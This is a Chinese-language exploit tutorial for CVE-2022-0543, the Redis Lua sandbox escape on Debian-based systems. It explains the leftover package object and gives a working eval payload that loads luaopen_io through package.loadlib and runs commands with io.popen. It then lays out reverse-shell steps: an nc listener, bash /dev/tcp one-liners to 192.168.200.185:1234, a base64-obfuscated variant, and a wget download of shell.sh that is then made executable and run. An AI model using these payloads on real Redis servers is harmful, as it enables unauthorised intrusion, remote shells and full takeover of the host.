原理
Redis Lua沙盒绕过RCE的原理主要涉及到Redis在Lua沙箱中遗留了一个对象package。在Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了这个对象package。攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
具体来说,Redis一直有一个攻击面,就是在用户连接Redis后,可以通过eval命令执行Lua脚本。但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件。然而,由于在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
使用条件
- 未授权访问或拿到账号密码
- 目标为Debian及其衍生版
影响范围
Debian 系的 Linux 发行版本 + Ubuntu。
CVE-2022-0543,该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞,漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码。
借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。
需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同
我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:
// 加载Lua标准库中的io模块,使得后续的代码可以使用io模块提供的函数
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
// 调用io模块的luaopen_io函数,返回一个io对象,该对象可以用于执行系统命令
local io = io_l();
// 使用io.popen函数执行id命令,并返回一个文件对象f,该对象可以用于读取命令的输出。
local f = io.popen("id", "r");
// 使用f:read函数读取id命令的输出,并将结果存储在变量res中。
local res = f:read("*a");
// 关闭文件f
f:close();
// 返回输出结果下
return res
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
这里的id就是就是需要执行的命令。
代码解释:
eval 命令是 Redis 中的一个脚本执行命令,可以用于执行 Lua 脚本或者 Lua 脚本文件。
eval 命令的语法如下:
eval "代码" numkeys key [key ...] arg [arg ...]
其中,代码 是要执行的 Lua 脚本,numkeys 是键名参数的个数,key [key ...] 是在脚本中所用到的 Redis 键名参数,arg [arg ...] 是附加参数。当 numkeys 为 0 时,表示脚本中不需要使用 Redis 键名参数。
反弹shell
这里的反弹将上面的id命令改为反弹命令即可。
1.nc监听
nc -lvp 端口
2.反弹
这里可以使用多种反弹方式以应对不同的环境情况。
1.普通反弹
bash -i >& /dev/tcp/192.168.200.185/1234 0>&1
bash -c "bash -i >& /dev/tcp/192.168.200.185/1234 0>&1"
2.编码反弹
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xODUvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
3.上传shell脚本反弹
编写shell脚本反弹
shell bash -i >& /dev/tcp/192.168.200.185/1234 0>&1
开启http服务
python3 -m http.server [port] 或 python -m SimpleHTTPServer [port]
分三次执行payload,并将id替换为下面的命令:
wget -P /tmp http://192.168.200.185/shell.sh #将反弹命令写入
/tmp/shell.sh文件 chmod +x /tmp/shell.sh #赋予可执行权限
bash /tmp/shell.sh #执行该文件